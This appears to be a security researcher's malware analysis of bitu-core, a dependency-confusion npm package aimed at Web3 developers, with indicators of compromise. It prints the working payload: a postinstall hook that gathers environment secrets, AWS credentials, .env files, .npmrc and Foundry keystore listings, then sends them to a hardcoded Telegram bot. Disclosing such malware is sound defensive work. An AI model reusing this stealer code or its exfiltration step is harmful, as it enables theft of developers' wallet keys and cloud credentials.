Disclaimer: All research and opinions expressed here are my own and are independent of any employer or organisation.

bitu-core critical by Paul Newton

bitu-core - Crypto Stealer

Part of a ten-package cluster of malicious npm packages impersonating internal packages of a Web3/DeFi project named "BitU". bitu-core@99.0.0 carries the V1 payload (beacon tag BITU_NPM_BEACON), shared identically across nine of the ten packages. On install, a postinstall hook exfiltrates crypto-developer credentials: environment variables matching credential patterns (MNEMONIC, SEED, WALLET, DEPLOYER, SIGNER, INFURA, ALCHEMY, PRIVATE), AWS credentials, .env file contents, git config, .npmrc, and the Foundry keystore directory (~/.foundry/keystores/). All data is sent to a hardcoded Telegram bot. The package exports an empty object and has no legitimate functionality.

Package

Name

bitu-core

Version

99.0.0

Publisher email

a77178694@gmail.com

View on NPM

Threat Actor

Unknown

Tags

#npm #dependency-confusion #telegram-c2 #env-stealer #web3 #defi #foundry #postinstall #crypto-stealer

Package Metadata — Version Squatting

bitu-core carries the generic description "BitU module" with no author field, repository link, or homepage. Version 99.0.0 uses a deliberately inflated version number — set high enough that npm will always resolve this public package over any internal one sharing the same name. index.js exports an empty object; all payload logic runs from scripts/postinstall.js via the postinstall lifecycle hook.

package.json — generic metadata, no author, postinstall hook

{
  "name": "bitu-core",
  "version": "99.0.0",
  "description": "BitU module",
  "main": "index.js",
  "scripts": {
    "postinstall": "node scripts/postinstall.js"
  }
}

V1 Payload — Crypto Credential Stealer

The V1 payload runs a targeted credential sweep. Environment variables are filtered by regex matching KEY, SECRET, TOKEN, PRIVATE, PASSWORD, MNEMONIC, SEED, DEPLOYER, SIGNER, WALLET, AWS, INFURA, and ALCHEMY — covering the credentials a developer on this kind of project would typically have configured. The Foundry keystore check (~/.foundry/keystores/) is particularly notable: Foundry is the standard Ethereum development toolkit and its keystore directory holds encrypted Ethereum private keys. Presence of this path confirms specific knowledge of the Ethereum development toolchain. All keys collected alongside hostname, username, platform, cwd, AWS credentials, .env file contents, git config, and .npmrc.

scripts/postinstall.js (V1) — crypto-targeted credential collection

const data = {
  t: 'BITU_NPM_BEACON',
  ts: new Date().toISOString(),
  h: os.hostname(),
  u: os.userInfo().username,
  p: os.platform(),
  cwd: process.cwd(),

  env: Object.keys(process.env).filter(k =>
    /KEY|SECRET|TOKEN|PRIVATE|PASSWORD|MNEMONIC|SEED|DEPLOYER|SIGNER|WALLET|AWS|INFURA|ALCHEMY/i.test(k)
  ).reduce((o,k) => { o[k] = process.env[k]; return o; }, {}),
  allEnvKeys: Object.keys(process.env).join(','),

  ssh:         safeExec('ls -la ~/.ssh/ 2>/dev/null'),
  aws:         safeExec('cat ~/.aws/credentials 2>/dev/null'),
  envFiles:    safeExec('find ~ -maxdepth 3 -name ".env*" -type f 2>/dev/null'),
  envContent:  safeExec('find ~ -maxdepth 3 -name ".env*" -type f -exec cat {} \\; 2>/dev/null'),
  foundryKeys: safeExec('ls -la ~/.foundry/keystores/ 2>/dev/null'),
  gitConfig:   safeExec('cat ~/.gitconfig 2>/dev/null'),
  npmrc:       safeExec('cat ~/.npmrc 2>/dev/null')
};

Telegram C2 Exfiltration

Data is serialised as JSON, split into 3,500-character chunks to stay within Telegram's 4,096-character message limit, and sent to a hardcoded bot token and chat ID shared across all ten packages. V1 messages are tagged [BITU-NPM N/M] with Markdown code block formatting. The use of a single shared Telegram C2 means every victim installation is delivered to the same attacker inbox — if a developer has multiple bitu-* packages as dependencies, all fire on the same npm install run.

scripts/postinstall.js — Telegram exfiltration

const botToken = '8797440605:AAEzk13-lD_Yif3TGP2fIGXhHgDBglTCpXk';
const chatId   = '7604069194';

const fullMsg = JSON.stringify(data, null, 2);
const chunks = [];
for (let i = 0; i < fullMsg.length; i += 3500) {
  chunks.push(fullMsg.substring(i, i + 3500));
}

chunks.forEach((chunk, idx) => {
  const postData = JSON.stringify({
    chat_id: chatId,
    text: `[BITU-NPM ${idx+1}/${chunks.length}]\n\`\`\`\n${chunk}\n\`\`\``,
    parse_mode: 'Markdown'
  });
  const req = https.request(
    `https://api.telegram.org/bot${botToken}/sendMessage`,
    { method: 'POST', headers: { 'Content-Type': 'application/json' } }
  );
  req.write(postData); req.end();
});

Indicators of Compromise

Malicious Packages

Package Version Author Notes
bitu-core 99.0.0 V1 payload — BITU_NPM_BEACON; postinstall hook; identical payload to all other V1 bitu-* packages

URLs

URL Context
hxxps://api.telegram[.]org/bot8797440605:AAEzk13-lD_Yif3TGP2fIGXhHgDBglTCpXk/sendMessage Sole C2 — Telegram bot; chat_id 7604069194; shared across all ten bitu-* packages

Targeted File Paths

Path Context
scripts/postinstall.js Payload entry point in all packages; invoked by npm postinstall lifecycle hook
~/.foundry/keystores/ Foundry Ethereum private key directory listed; confirms Web3/DeFi developer targeting
~/.aws/credentials AWS credential file read in full
~/.gitconfig Git user identity — developer identification
~/.npmrc npm auth tokens and registry config

Environment Variables / Config Paths

Artefact Context
MNEMONIC / SEED Wallet mnemonic / seed phrase — direct wallet compromise
PRIVATE / PRIVATE_KEY / DEPLOYER Ethereum private keys for contract deployment
INFURA_KEY / ALCHEMY_KEY / ALCHEMY RPC provider API keys
SIGNER / WALLET DeFi signer/wallet credentials
AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY AWS credentials — cloud infrastructure access